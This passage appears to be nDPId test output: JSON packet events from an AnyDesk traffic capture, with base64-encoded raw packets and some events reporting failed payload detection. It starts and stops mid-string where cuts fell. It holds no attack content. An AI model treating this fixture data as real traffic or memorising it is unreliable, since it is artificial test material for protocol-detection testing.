JzWjcOHKB1p6ITrQv5tkEUo6ZNIpLaMCk0suwgqZIaQtdA7IbyqpV+UL9BCWb4J0DmvcjygdxzayiFLnD6ZrqSGtBySPRl5NeyPT68jwTOYq1ync8TPT8ynpiVBeZzUZUs2dZWxp214tVHm+cFx\/M9bNLZG3WDEFi4JHP8uJ1DUzWj1ANJzQas1tX3Zpe3nxG31QgyNk7NFJj8\/L\/mLPWly2LSGcJhoLglDY\/PdECWFhjUJtrwDME7hvGo8BRxjz4RYuhPP35Re4LMHFV98cSmVrCGfdefcZ4GN\/1oUJuAJCC3tsEtCaAONT\/ebJWyTDsIWgVqY3pqpxYt2zzK6YJ74477vpN58DhOiUwLzEDSymmnCYfknyL8pBv3shdPFEddf3eUkzV+NzJh6vIabFHJAOtVJYgZurnaJGf1xOUg9bH46nk5RqoeJo\/j9IRr1RRi3Ity4cecxJe4reH7gUW1BrPWlj3ERIs\/pkZfPRxQC2YMpzlgEcFa\/CX7AATQ\/oU1goRRII97lKxDpj0k1hFHuW5Kla0vN4X83RQYN4\/m7YDK6amV5LoL1UBe64YypWWKjmwUUbXyNlpX1lDNpiNb\/dYNu+Q89KeT2tM+nhUROq+TXCYgYH8vQwIquXav5izeSmSAzo7l7XcKvQv5El7IeVxtJc308aYpxV2kvyUHKaZ\/uykpjhU\/pdVeW7Tp3P7daKtVQoS1FWjz4VDmXa450JUCKQGR+P58j8Awqi5mt4Rf7j4BIQLtw3ffRMTWfiBe16B8GInp7DqZ2mDLrPYAp3GUQtsovQYyp+xKu0YWXTvEZ+WmayDwZIkauN\/c8tNppIRuXQQucna+AR25uzChuqWT86C7zA4VeR0MbsLAnmtkB1pgmBTTwMH+f6ZIBot9rCH8M6g34ENIf44hpDrXVsfogOxFWP7hV3lgb74NA6PYnZnMa9R6q46eFaJUogZE\/VN0LjlZyE97Pi5GgBNi9qcxd7aPh9nZIoXeeydbAv60NscRpqLLHGiPOvIni+rjxYOj6aiSpXr9+HYzfsrQp+EApoU4b7y6LEzO9QXKhWOAPg0xhIcPaMexNFwJWUw067hiVYBc6cNe\/qNe0GFnUEy77Cg4bVcs+07ZU0FCUykhPgQqimFmbR4MpqeORR3YOlYXDqx7YmGXLRRF7\/kFjpRUU4DyMvLufuRhaIYZhS+ZQszSJDoDKRB00aGJq0rpBRV0LepDKnT1IO9mmCsWtFSxGue8sXsMY02YQRkKYvWZDXoeDdvSteJqFM7rISRg828lyv4\/b1NNNqxcZZGN\/0AJQwWPR3gq4c81+pLaY3P0INEdCNkl\/xUU6wra8a1XOR+DeAyand0F9VtHhxKbKekV7z04BNTqfqdanL7iAItnV1LYEueVtp1L6QTKc9l8N7bnojZpKHveg9VodzVk1zZehNKDi7ShVhClK4r3dzP0FToTQ\/oWbs\/D0keGb6P6D3lHE0Kbv8o+kTObTt2l9JQixhShFbVqIbMWAQC2YIS8f73Xgo9ACnmpXymd3OpynghUas\/QddLBkrLGIgjvzWa8wo1cjQJOfHj4wRc\/tQLyzlKJElkZXadZwKaC\/b1fm6tHTw\/4fcctkNV+PN9dy6hdppbqcl56qVjZo7G09OKpeWPnzh4a\/6Qfgwe1z3SnOwlPNW3XxoRBMx54bUuojK8UQErYYzL70y+Btx2Ht7dhYQKJ41vZqRf+Nxc5MFoxvCO+G9hpBiqoA5vWeFTbNC8D6NzV9jLJzvPMw5dPLG7ebJUOy34UTICTeu\/rXVCzzGrMttK\/n1nN8SwbnKYqM4QAbwtoLYCjWnbtlEeHqEJmmIrNo+bl+66ufjIiQF3xuKVmMhSCr+a8xJTB8TJwvn88Tvqv\/04VFw4D\/L7niEZnXqpRt2FnzrE9+Q9LYijsfILvNlI7fZ9m4tRQ055XdwHXL7Nsq4ebDFn4kiTJL+jaYq8SiaUGmSNXYFCU\/smP9kraaCm3D9Mepz2jwHbNDV1bwakvr7wV6wx0gNpUWcNOZ6HHbx8oN7uZWrSmsOZxC4ZilnKyxvMfnltA5fwuQn3AMD3mX5\/XfJlmQ1\/jG81dp0qux4IKmSk5spDyBvUDYYuQtxf+uRoG6djH8UXWzi45h\/W\/gG76G0UECYkPH+da4CnjNzDYf2OsoKgIrHfZhtZH1mhzxv+dRRxPYJ2V5wP2v5jLNo91BDXL6SrO9oNL55D3nCSO4vNtMvECk7JD2ihIV5h6e2SHVsPAVkmtLNkEqyYqrHZxyFmeL2ylnLzi1VXTGxJCLhHvtWu0R1mh9BNO\/xrcBW8BCrBc0+EHkjZ4iqrDECBWLJn0UAByMnjz7SSmY6rJdTdr66q06GRPNWkvyW5+gnYzXAa5waCe0HWMSQE4xahAUfMBbZD\/KrR0GEtWJ7T0P+GHoaYnco66F32W46uOvxM\/+CGFohX4i9QG5NRjnjXoC736exGOQe7dD+Y690eTLGqmgxtg04EL6uHKkCotaGaJW04o9QmBnmINY8W5sLId22VdyzdyQC\/dSiFX8BpzPVRQnPngID7jMeUjS0i9i2OHiwNAkWU\/w6zgUrb3K7BqOkPGLKOFTtJGOZqyon2wWYXvVAgbyr3\/8YIP\/uGXRgwqgUWzFfs2aZNe1Kl+Rje5DeeBUwwiuhUTFkYeBEsCVJ048h8wv3PqKhhYuZbTybVoItRRzaOaPXl4YZSXnAHxafJeOJ0oIWGlxiziKcqExShj+JfuoulgRUpmS4f6AwaEWMvjyFV5EM2hJp+e0tED8hVrJUwAGfb\/zE8MtKbB8mDZHMeYmLOZ0SxXJHlazQLRddRt0FSwn4CruI\/4SgBIa66hHDhuvSkGGBQWb9nNL3hIpOsXnEIJmgU0J7\/FS6xZKJ00HCqXMdFpeTL4fqjIh7fYD4VsfXVGNkwWXcCcpls1dNDiCfst\/zegkHIJAmNE8EHwfGH\/0MKfN5isb8rJO\/DSX\/wNjz\/wVxoxCPrrIoaWEs3PqxnBANdtM\/WVZK2vSg+5E1jbzk6398blcUv9QDtI148AiQ3lfTRZ3kU98N2LlM709ZwHFnJ6abbSyn7dUGbzz2prNfSLrZdWPf0KHCETkRKCSYYxXCWt9R1S7f+BK\/ItIQxBqnuWABgfs+sx1dKhQQBcHx0uw1XLNbcJgMhyNQ29H3mX15sMpjrz0Bl6G1C+2pxXfWl7ErxYFV\/Cn3ZBw2MHUI6TsBps6lFu1l4qxrPNCutOx7phKhGZEbMl4ytfkTLScOlndfXILamukY4anppfsK0k6lhobQ8RpIArEg2qkGapeyacXHiDSsSdPMYaLtVfOVfIxhwNDWKesgfwbOdRnfkdUK2vhRLJXhj7545dI4O0qP3o40BjsE5ZWlvbc7\/M2YytddY4R3BgNkdpqeE39evUYTRKT1X1Yyde5KiwyZsBHAyD0LRO1V2dpBF\/wH\/sqXfi\/\/w3T3xXtVikAHJm2wqYhebZPBAFwFDIxfQ+d40s4Q4u82Hp6a95+iiueODV0PNb5yMTzbfHs5d4obXolDQB8CbrQDTFxhLVny1HCRXSSnnhTgI4BVUE5j0s+BryUKZFwrnnykR69carZCNFn0qY\/9sZkW3mcD8KWymOHzFxin3HPFGQbujmwd4dgDnFwXarCms4inJKpogRJEqOl9ThT2bZ4P6Z7V1R1\/DK+YhZzqQcfm5QN8ifuwZWo+fB0kGhTqjfwhWF0O++4HDxu9owRd71eVNXKvbHfLDemrns68QSs7Fo9dEmtz45hV6WrfQiBfZSP13TW5BfIm\/9E7TQvaKE5HL7DYGHDz6rLtfYGhC\/RoIQzfwm4YJQBuVCe3PHmCUHlfm0Jz6f88K84F8BXQkzBVR7EdnGzFxKbc1YNYZb9AWXfJr5kqZcOhIPOfKhUY1gLtdY7XOXRyTAK9vZhkc0+\/tiUkzMGZB\/tLDDkC31em89Egzehyia63LiNd7ktgla9lB\/CP1LdUHeL9CKwoBinuMYm8jNfQuN7es5a5VXXRhvaszwpQSVg64j0KDjVrpDHFMcnN4q9MuskOCptO+neDbiZTAggPMBKzeCbIGCJFZHbEc0DlzMgC+0077Lz+h7F16aqkNeDoWC8qP0\/WPpsnBJW8fawAUUzA9U93byNAQ8i057ntj2DC539YnFwpYPFLzhv+NWAklx3dE+pO+51dR1Oa9j4bw7v1Kjiv0bVvxNJnEIcODwdX\/tLdQFUxYxOn6IfCxJHzONE3f+fZsGxQyCMjbIwqIUJqQaVCRSa6VPFItojHRrBB\/uOggRS62kRAKnGhzU8F0Z\/Mtsc3bVbrOK+SsoV6fmk02WHxyWmtxKo9PgymaI5lghuGl3fqZDk92ACTpIh9khVUIiukkbOUxmtbQKW5FwISRLLP1qPJfCF0L6ucql1H7FWcjIYs3l8UBuqaiCx1\/ju1j8Bk+bio3HfH9sVITJ06vUdBHG581mOP4S5P7eZ7slw5wAV9WSAeajrDnUa3veLCAQjZRQ6WVhY3CMGJ7mSl6cd7B6hj4gUYiyMY5otOSGRQz5h+NXmXjIFtpcPdoo86hEZx71NxhxN9r0o0gJ+a\/MFQNcECLEeV5V63dUYcjsMZOvIkYqXMTzpcm2Ndt6bh7IaE9qifXtRvh8LmYiajwQaLB6MH0pX0Scs8hCWWxqwKbk\/0sw+avpdJMKOLDvpi5Ib1OUvV2HVuFiLObfGywYyOlgk+i95YKasBx3RKdjskz3n57\/BeS0+xy\/UQORyQCmlipkxuDKqGG44\/87PGdaZdBvjzgIEtn3bIF8FHWBxyp6xMSU8aB+it\/UCsy7vj09S6BRDUs38gCqoFa6kmZoLjKD4OqU87pRijrcnqZrSW+SuIKbpaI79RIF5wLLI6C13BiWAoHbw48VdZ3TxfI0KXNYES6DpIvx6OzbZQ9Hvqj0qHAxXgYaMP+HPtXgFTkSokwnS0wxN7UcUkDtIejG5PlIs+SdOI0z4X+tGFuCqP\/ACt\/yJzxsMk0kVaosg8ovNKwn4Ym5RsxvOtwUI4uVCHAtzlxWR5EfO5KifzaUor1FCOABt32pHa1p\/9E5\/XOgXOZNZ8daQDs1e+\/dY1pKhv+zn\/DJp6bx3RhYR3ytqHD9Dng=="} +00176{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":78,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":4155} +05992{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":81,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977602,"pkt_ts_usec":726513,"pkt_caplen":4192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":4192,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAdoRAAIAGAADAqAG7wKgBstOUG56PGPT1WcP+aVAYA\/6ExAAAFwMDECVZ4hNO+msUrEUGRo\/BMTKiG19oLVyoTr7PsdLlmM1BH0LNIKUTi6AL65VA\/iHrn5mKcpp8VDNcOdnCV2jgdnQ9JtEfT8Sy4NdUsgC7KyEmL\/0FmVNSU7nFowE75LqXu0hPXQYrtbWl7F4J1WIzedrKLUV13V\/7p7shsHi1Arsk8ozoWtHy3htZMz+GKQNjs+2ppnzrn2L\/N6nzgFOtt+5XuL6F3K3wpf24olN2yO\/TTbYxPUuV1A8IENv24G6pyGEbieJ85WpKL\/xZebM64wjqNecSq9TlS0hU6q1y0MaAeR3+JokAaFEUoXglHegf4Tbm6\/mQX4CN+nKDpmCVWkpuhmRKVdKpRUVwA7aj649xccQ57S+ARLwh1Hvy0OZVtvi0pZztRklwCuUF3e9yAVRcBTtkphTudnjrHOGMphSiSwJD+nskkmMHwzZDbVfdxGzYinNMinJjEvIZA4K2IlWAQEbyD3UExJ6T\/MdP2iS7h2cdoN9xV4gRENTAYqgtI8eTyzGsdoF3u\/Ph9HFQ\/H+FGAAGZgNnRwqQw8OpUZnbBpQLKNgMbISZLUItsS1gCzxYqxEhJu1a13l3DkoJQ54qXtCoSGBYDYuRlmjCe4M5sXP0Ejy0faqOUWtr\/Dnm0RnWv8wIb92m9fGNSZXkv0G1dY86c6gRxOOPsz5H9xKNSJXM5bnoHfSBAXms0R54QiS8aNwPf9hBSuuG+K5ldtvY2L7OwWojWWWC8DDELOVE5qcNxytXmeeIPSjIUJw1XQ1le2Ggx43f2QvlVA1rhZDpt9G8Dlq0ZZjwhy3bfZV8WXaWmGQlVOxxHzvdKGWdkKAla5eZJlDCFLg1y7JonAWcEE0Dnqy8AAlXSnlxJwXJwHxsMp4mBU0UZLav9rEYr+zlv+\/oY6Jr2kWVKBRxPefBtVh\/HXTgYP8ZeoZ\/YpZT1ZNZd5JfVGxGSaQzgJ1qkRbBt91HPY9Vf+2vOIQgrEoflgI16N5Np+brMQ0DsbEII9YJmjoSVD3i6MNgLNpHN9CJ1ufv7PxL0fp6eimd6bHbQmfhmoCHxK7Et1Vj5V5ACihpn3OZ3o73NxGSpqPtR4jhVC9iJRmS12zrIJJE0XYEvpjrgjX3trhFeNdgwOvnZUWdSBsYw8Boxu1RlEXFFOQWi8B0dLf0q2jX0J6V8oj49U22fK8jGYX+Q7VaDqGB5S3LwDJEFTZu9cIZ\/d3P9HtcIosgef7gpwOluRsj8eC50KWyYM475YVIRlx45P\/oRf4pqvoJE2VHNK2QjUIcuD8scDXLJAfcJZvDpDUNEqCudVeSi4l32WJrb2jkVuwFSnWMPYGNPFX10UGJLHOyPwK6s+aLNgankNxgSAw1MgacOIVQbeqWtmoakpUBN9LOiYJMvAwtlJ3UH0sGx9Ai4E07Yf6ojmDaZoC9NKXvXupMBRVJbYxqLS\/RW+tjxAjaVMt8vs\/NMqjZedh+KLHw+95\/8CLXeqhqW8u+wdnRodqWZyWjim6qFLW\/hXinAYHD\/1yPZaJnRplpC1pDeuuJcxQT8fMyGyXFpaEaekpxw\/7H2wiOOiExTretCZnVwzMlWOcL6v6PfEfatdM0RcXtfMaUiLNhqmgisI\/SYlVkCrDaw\/0XGRMgbRNBapxoVMgHxRWHaohxkw7odHIL6Weni4Bv7Bt9Y8yc96GTN1lds4C+7fc4PmNKTFYaAzXoeMpI4cnxOh26D+O2jWS055YMM7GywaQDcsmP0F1HXpFQNwxX+nJCFJAoboBkUG6XEpFgILDmsQZ6UhSwahzLJaky2uyjBRt+7hWkDgExSLJCLnPfUVr\/2Mpq0twT8Kd1l3EoXmgzqP3BiWLN+sewZl429a4ZL0Y+24A7JHxvEFWQir7LHclsmsF2s5zLFnNIaKJD+EVH15g1RDIb+\/u\/EJLlkwTC2jRDp9ji+w5yRopvAruZA\/bshmlRL2pwoGOi5vetsNKZwZG4jMa40qm8tX8umxCZEvvG2YiyO2QZ2JpXtHQfTAUi1FER5LmvSYxn8kchKUnhFl\/d1MHZrnTO4M40k7hqvFdcOiNyWSMgA5yyqbfNKwpUle8wTxZiaQCQcfK4MktGQ70Vd1a0bp71zD3fCHfdgi1jeknaulsVdLlvvukJzwOREpqhXtWoQ8YjbKH7vOghh05Ly4fB1H14UWwll23Gca2qTJOJoKfj8P4+\/MDcUJdTs66n7TAdL\/84VVxf7s1Y+Me672KlQ8bsjjiVWkTzJ\/H5y14JU17EfaxcIGyUEPr1yuBeys\/BS\/EylObEhAJIVLBGI\/qUZ7UsowWf0GGExzdnRp6itRa0YnzuE9KDq3xUWHBTtUvoUmD1x0+GtZeJc\/C97NaFQf+x2+yNNf2AIWBKJZv\/dyJxuRop+nAFFjzBaYX4uDkrjOfmd\/OiNdezOUmr\/E8SR1LudYOMIzVPsNE39HNXm4KBQf0197dzKPJqBK7xyNhKtjkTb4stVunp+qvB6vBj0jdXqdu6W1YCEr4K1BbJgHyROS6UrEMWYwiweSRIPC4fg4lEVDwJZPzU7AaC+B6Zn1eWQ5IjM466NKENMAtgt5lNvZUw28A4fF4\/LNAqHMwHFmkjmwfBJutmyLLxHIRozg9W5TIPY9+HCZQbDfQZ3YI1Nkf7PbSqtVMocq8UQLRzeWfcRnBcE+89XX\/0EkHyM3c4bo9jJ0ejS6eYvjRdFDKmSH5b2CopZM\/NO2hhttxOq75z99cb4HRQUMeeuUCpY5UBQ1hDN331lYb0BKa+ohxnBHtF1gYM0ZO+Lk8VGihuYAOBnSnmPKXlLTcPEagBj22MTEyw+Orv+FeFNDkz3FY56+w4HKz3SaPNjcr6wZcYvJUPpMFZsum1ohLlpCQDwUzqi4lgVGj57n+PlGmg7zHORU\/eso\/MimtUP2fExNKcJxzSueKm2F1pz4vwwzaOhUiC9d8QmebQH28Ie3SXLgkGgCNyWE0jIiD80vFIHc5ON3bjAOZXpPuS6145n19nDog+ceKKTJD+ZcI6gZIbpbuD0d7TCLT77rs1XFJOOqT4ZGm0DrQ3vCC7oHkADF568vdoCz1GTQaLy\/E9rFj+TecaGDWA1id0mrWgGnjVLSp7Nt28vmLVNRVPmknpgDxJM8caRQdvFGb83GatyuprxwA+GYGWyrRK1vEMTsU+ts+RYQ8UTGKYPHxl7stQySUyDXKCwehE\/JDhmIGkxXkffFW1EpP6q\/EiKNqLcL33w2ywuIu1UDt2EY5kjZy1rI5I3nqmP8iL5IPaw5\/kJJVSG0Z1\/REawkm+\/gshM+QHj2X7i\/eiPEeqsTVuYs2p49S3j74BZuuxLWnX628FETJabtJm1DSJRT14muOSnPqvOq2Y+7htmBb3QQfEFqbqYPRYw5ypHKf\/3eax0UB63+ESFqINjUimB3IgFsV0Ou2iSFom54INIBGr9Efs31gJF+SW8aByBvNTLdfR0t\/b0z4oxTJQdV4Yp09Eln0qlyWn+mS+PtNVcU9cvBaZEDMeHeSF+lilxpD4oHukBD5qoudXUfrx9tX5A1Iax5CHz2nT\/LQKxbWg8fF1FpSSGFcLZ43Fj5DSB8nxNmlLYvKi5ZSZ\/jNhC\/v\/YZqUbpy8oFBTOfhQnI7uvajDh\/VYUi5oXVACn1cfS0YZ\/fsKbuU5nMzIXGpnI\/GYW+YgBNy1jVFT8gHojds51r1AdH5cCoLZ5xnjw0qkvwTZQNhj5u7Eo7lO1qMOVcG06D\/4xjg+R3y7\/DRl3zdR01ze8niDlNmtSu1a2qMPqkQOm0Q7hcK\/u0CvED9xz9OQP373AORiBoSygBFTf7eA\/Vp13ONj+rHUm83hE3XLq40mooQms5BdyiMQu9O0mCwvZ3\/UEqcfq1PONqGwBfjXQOlj97viaMebAEgUPbkG4gJxnYS5m+DZ7Meqb6vDQYM2WjrE73JPz8\/jdvj0GM4uKhPwPpYA5SSNEZcopZTDoDGNm57H0JXgFbzBihV+xUSmSSWyfyshDOmiQl4DRJ\/fW3GzCwsIfPT7PGhagWjjekTarTN9JOvFsigGO1j9lIjdR59Aws74\/K4+XpKDg+t8sFE1m444tKPseiMU4xbxn+KvIX\/vsNyEHrQb+Zwc811ItNnhquA97jChzdpHTDRbIKXxFD02Yip1ppgpqDo8Z6KDomtLKf5nO5F1d2XYpmcvKMXhug3\/uzXVQy6JwUtxdkc7VJdxJdGPWiei4RDwRD6QwgxVXKspL0RZm7cFNG6jX29kz5ujntHqvypC\/+ticAporVdzgWZ0nM7qt5fNSkJLW\/REmSVDURx8mYJXeVMk4N\/13LpjovA10PMzhAMh+w\/pSsJlkUoo\/rrRe\/qCcFwwKwMtykHsGd3zO1U5\/ODBKDSpwkBBghOJybHtERAPtF3w\/bX+MPTZsPkpHsR95eV7WKnxijfGLpMnZeG1A99VcT7\/DdBbWwZSgHNG3rt4xwVXm6VWW42jsiQed5QRDoaMyDqP1DaQoFXKhlRazT0h4crc4nuRn8BQhzPhQBB8pVCa3Kj88Co7zXCaLNyR0zmZtK0QUW9C3J4\/h7qPnhSlSrH8ViN5aGvoPeQM8cgj2t1+gaNgguAr+s72YcEEzd9XFBfZ35Hggc879lNYC5JJ3C9l7C92LTFpcecqgcj4v\/4VJeBGVN0OhanRnJntbPz5WSVZLNu+IseX\/p8F8Gy4JLApv5eb\/gK1nJSNBT+UOqxHaKtzRZHQxf88DbsPL4FRvqmupb+mwTj7Ek7g3UxTdb8bhpDsGaS8Tm3Li8+E23dFKm3roCluJxmTJTH6Gmlxhhc6zZT3f8PcnCdHnMHULVn1bwqcaBcjIX0C03JZ9TDcZVJDCslJGkDdifWRBZYvjWW0Gw2a5dbA\/syWxhzg82N\/5vcsWM2Ko0DBT0NygsEGQD9m9sTYItd2siUwbU9zWvcabYUj+0DNvvQ5IyNHDXJPTfX3eT1v5TSzNdjPJ7skDETUvMn0RvMtUqGsClcud4G5lwfeRqWbwoK3acJwBhadV8aAx4WuATfE\/rUD1OwdDowKtruCfnvlF4p4kKjpQuwS7CjI7ctriqTzNdR3pytkMDwfStJ71IYZsGcQ2Ea01tkQ42+RlYkiNJzgKr10F9YOeIE4IvxCpdGmjlwq8aN78bXPa8LcEObBXsPT9CznXWIHIkAPKGN8lKSeprFXHupN9du7pMO1H9DZpCsqHHJovTLUUA4SM0k6Ie99K55iLT4fBoFJtyf+6tDZwCyRBgI5czvBG2B95E\/KI\/j+8\/\/KcnFSQMP1WZ2b5wTDhSHlaPzyPkLTb0QAcHkIYxxWX8lxx0AUP\/9LjV5+xrVD2o6FxteXpVpJF+M1Y26O1K26L2VFsL1mx6493LSu\/dkM5tyEM0aCkFV9fa6oyoax0jN30YDEuUBtGN\/65z32649v2i3\/zMxeAKFZpb+oGVjhsPDtEDoP8qJnzHV1ihuM7NnEQfUdhgDOUuWQq4BmmppNirNPPeDBtwB8adtQ\/AD6enIDIm3IZQ=="} +00176{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":81,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":4158} +05967{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":84,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977602,"pkt_ts_usec":726773,"pkt_caplen":4189,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":4189,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAdodAAIAGAADAqAG7wKgBstOUG56PGQUfWcP+aVAYA\/6ExAAAFwMDECJZ4hNO+msUrSFFP3HjRkevNl4FUaxEWeRcFYbnFQpZzHQZQyDIK6wg9xUVYng5AfMF5AdzMQAzXukh\/eQb9mlZqogB3aJLrB+V+ogWVt+4pUF\/5eb90aVhUzk7oDiXeGRyniStcTzlGe\/zDuMg\/+NKoXh38Rm+8TW3cE77S\/4l\/8GEKzVd7HZgNkuABuRkqEuw6LvroCAwKFXYA2XzoUFrJQZzBUWfaMlHb+CtTQUeU6Nb8BqCNPeFMt2J9rzLq3rAnIx2xf8rT8e\/bbCG5cfj3x+U3ZUptt8+ddGmVSho2r6I2RXG25oJlH6j7RzHJ0d103heazlN5X9mAO7LzWyUWvx8GNGGBc\/GUoNRFJtid9q042966TKGWai7MQLCM9QyBB+k5RJFb+Ug\/+xkUF7E7HKtLt9LiM+IHrPLZBE8YS9AFAQWc3OLghkO7Ew6rZfC7Vm76PYwjyUyr7eFrG1Srm59+mtc7BSE5p+tZLNXtF11pi2dD2vcP9+2c1jWIBsKSyWubjjoaNK5TPbg5iJLqjT1B9vc\/ZkWsdRQwBLxDSgigE3QPckucM69059pgP0ZMTbavKA8jT1sAPAvmOQCRYwTI0fr82HtqrYhASyl40G2lt5siQkV46Szomo+R\/IE\/CG0Q7Ssdf47ND+9zF3XCmY6d+y+lhCg+9HOtzUHQRp9qEAQUfvYzgF\/FKIo0SqiIvcEt50048PWLYm149Lgd3C2BVPVcKf12AJacYBQXCalYdIuPbnadqW+N\/GPP0HYEt7MQaqNtuCBViKOCXMD67+asOpgA0ozYP4QVpVtiKqTKKd+OkBLeDqyiOgVudjqT9KLWPwfQOuxLSTHYaZYS\/GU808ksgtSjTWDzah+liuVKVuPJm7rVIEnK+4DYpp55BM1kU0Tiw2P6SLAvp6slnodaLTe1efqKjBjwhnn+HWhz5kOGbKnPSHqi5qyFkY2eSVdRuLKFhNd3ILFuP0QLPinWHyResInsqG1iEDAjF4w\/RQ45Jrc2NgaTaoxr94qvW5jNKQSio1yB9K0DPxL48QAh0uP18d\/Kb7F2YolTn2GTUcRNKL8pxnkS7\/Hind0Ms\/gy7MqB95ou2C26yd81UTzr1PxPuwevttXy5yqiq5367gj6bd5hGhHmWbke6D\/OPicK8mChomYbUgwD4ZSqD0YqpQS1ldd6ehffx8Dbv\/M9ys8WQczfLH4aUaatfNIFRd9HhGdW9dRSSmy2sVyScRMvfvncT16cy64gQnJp7OvlI\/QbPTlCJBeb9iDeFjGFsjYZzRVKQKIZjZcrMhN0k7ysgLy9MMgKinSv3Snd80xOpwUmCAXLZOvdmhO2u6NhPCA18q87+Ro7ZfEmFBuE0XMqmyXcQHiEy1FRtZe6zKdGOuoLCtD5yHubOTfTxOxmZliDyg05MGfnE8IvxVqJAQ3o2CHF4RlSwVORPXcxeMWn7mPFn3EK0y3gKLsbgqlsFlqjULQ5v3CRQFqsKLEWZKrCrRVgTBcc45JOqGP721f\/Fbim2sPVE+3T10DHXyAwCIW60\/2xVjy\/ynwzz65Zh35GOw4Yiy8w7PyOXl9yaNTcQfKtiCazZu90aHN+RAPfksgesGR\/OzCL92JXlSC97kix5B7cTh6kw7YKhuddpC\/PxU7Rpw8Yynpj1jv+7z2hmX\/DqBQBrNP3wxmqBbkjkDONJLnDz1ApIFNPWfaQ24QJ+a9z+TbBAYXoa7X6TBn9\/dK2KBUPHClP3UQ7sOi95IZ2owqT+aFbsUneV4+buq5IgctpVLB6ulKjvYbyM2yIwnu8DtxOu\/r+R7V3LVwHLmkW17mMp6frw5yVd27hxSD0n9Udkpel3N7XXWMOAEK24YOxlvFXGD46l+uvg75HcMNSJgdm+8PH+dQ+jKmArJBtDc9q6RceO0Z\/imRhYkL1ymc\/Vp9bkq6Zt9f870yMkW6ppYIZWqeq6RpM+i1Z0aoCBiF2wq\/9xOJasljhf+KUD9rCdPx6JDiKywJfYF3ZdjOwa7H3NTcmpLbzrRC8AMTzOPMCeUfDqed6FxsJrgWp8S6d+62rX7XxNjSDdEDwYdVN6oY2WiSBNaNwwm0OMPtlC1FeFCz99hDbc52XXOBRqBr7qQysXEnbe33q6YMYtzO9tsbQrE85RCx6FQ0xzSyfU3jdemTGZvrTqj9Dg88H\/ykysOAYfdngHgTvv2uFlm2rg7g0ucp+UulKyNVmK4sol6e8akwmqrVwl6477SqXRC6y\/FMtTxNTVP1UBEYOQz0W70rmnMOJEoHYT\/WtNs7IZfxi1NiJTRhsbMu0WbiR2EtufGICO6lGcvU4xQcRhJMi4xuttOq9vqkA66peyZqZzYaKTU66fqeUaYFdbHW57yv3+8NHcnDtOrP+WDShoi3vZ3ZsuuCOgQQtEdUFmHxRgcxaNftW2TtSgzEuv4Du8e3r3ZyLdndfB9dDk6fn\/1nOg0rGQxkrty\/IQfJ9mOVXnd7PKEGjft4asLisY2B44uOxqIgQ4VA9ZIzw8v48dyks2vM+18o8UGY0q2n0hulvw+JlS1zU57lDngIVihRPtuJK5qaJ8ezxkft4LuL0VHakSRc\/CybwTtD9plZZ2w\/1QIzWbESmTNPjQeRlS6LzQFtrMSVfVjqlwoc97U5I5z\/Q1MSu6vXhEBZ5UPXvcumgMcdNr4vTZPMY18fk7B8\/SgDa+EyQrTE83LnfvrVu7Wj7\/OgHw95+gY8DK47VKx1b3iAQ5oasOTQgizEqglwOCjoJOOMw8Qn2MotOKyNETdW8GfydIYxIPBSQYXzWyq5wzQ9quHhLGcU9nSotC2hdOWP2Pfn5n0vmhaP6h65voHypzB26mffM9Ta9w8QaxsuLFHQD2YV0KbMuWhdeTuTnDMUsXDH1HH75Y6blSqIrmqIHqhbHrYYhH00N0zGyAe19r+7fctk9t5AqMzAQ3Fr3XOp67H9m1uSeXrAJ\/PG02+Rqb262Cn0W7QJ3NGL5f7y3kO1scFxge1lLTCZ9qpeHfP0Qv9hfPDI5hsgWg8P80UDsuXfRxMGMhiA5m3it1gxqOKpbHyyICmh3byNlre4VcwVwUVGD++eywJqEYZSkfpTkFYqKLXf0s9BOA6mk4LSjo\/AS+GDudaBRF8E1R0CyiV6v1bP+xmR7XhoZHQYTLHlsLCQGRPOk+JF9+mtPdMxPlA+Gw1fkpaynQZl\/D3vw\/nf\/WXAwPFhYKZbjSGyrdg9KifZw8GFJ+VS574nUIo1s7d8yKMJy+JTqhWAXFLtEZQiKSAsH5ogSc+DHcr4dUHvbPNBnOy93DsroZ2KVQzZ1xpk7DcWTFfsOqJwh2jNLgY+2hkMnQR5qjW1d9PgGQ0jcnpF6qgHsfKkHJUnqhOAtXk1hOqt3ES13QnZTrOROMXat9G0rdFnJsT9CT3GKPJq3IEW3NkLOHQlZWU8YGTb7m2RLpDf8OxYb20NqhBXbaIxkwZah+PSyZaQ9hSwNKdhXmwRjDwgB6xIVvSJMCksbBQwr2LHFpnS1688EVIzJvVK4MAODH1T\/5ulJcQdN2RzU93Rmy16XXEWnaZpuIcljvrgUbHQAWdsyCeGawk4LybYtZ4OZKGdYmttlfntMU1RBk7WUNlrSSmAtMAPs3UNj2vClRNnz0pgpIdzITZ42M2zBmu9dVGyIUgvaZuDu7Ff0fWZwkWGltm9efmlL5RKNE8hfTFYZRDdCMBvhbdORdrguj52nM8A+9KTNPca44LDFy0jFD8elIxTlool470cUPzTimDJ82cktwC08RyEZSFSZuryFardytdUakhK12H9jzIX6eS9NHNE\/OOBCRhL3SAMAQozkRCXb0AE4f\/\/eKZN\/hQqutFAuWUEkwMbQMsYl72H42SGzcXiExKSTxZpoYpSpjilxIYJUtrJ+0Rg8pig87faihJwRD6tkRES1d4FwimGl2TTAjFLshxTQN6pX\/0e8HQvgwGea648k9Ril87+F9ACHiJGEtUCxMXiFb+16EEbk4XkYYuJLKGp\/2yLQob0yYCZ5yZ+h0bUgF9ijbj+JHX44kxGAUdRanEYzRIPeORV0QBtdZuYUAmIgvV6HBrW76Y06r1xRfnxkAi6748MdFNUOrk3frm568iRK\/B\/XCQmicO26oZzRAuH0Q4Oh8CzOnHSvmEvG8v0uHIR75oermcLm9jadmzvjQBYOty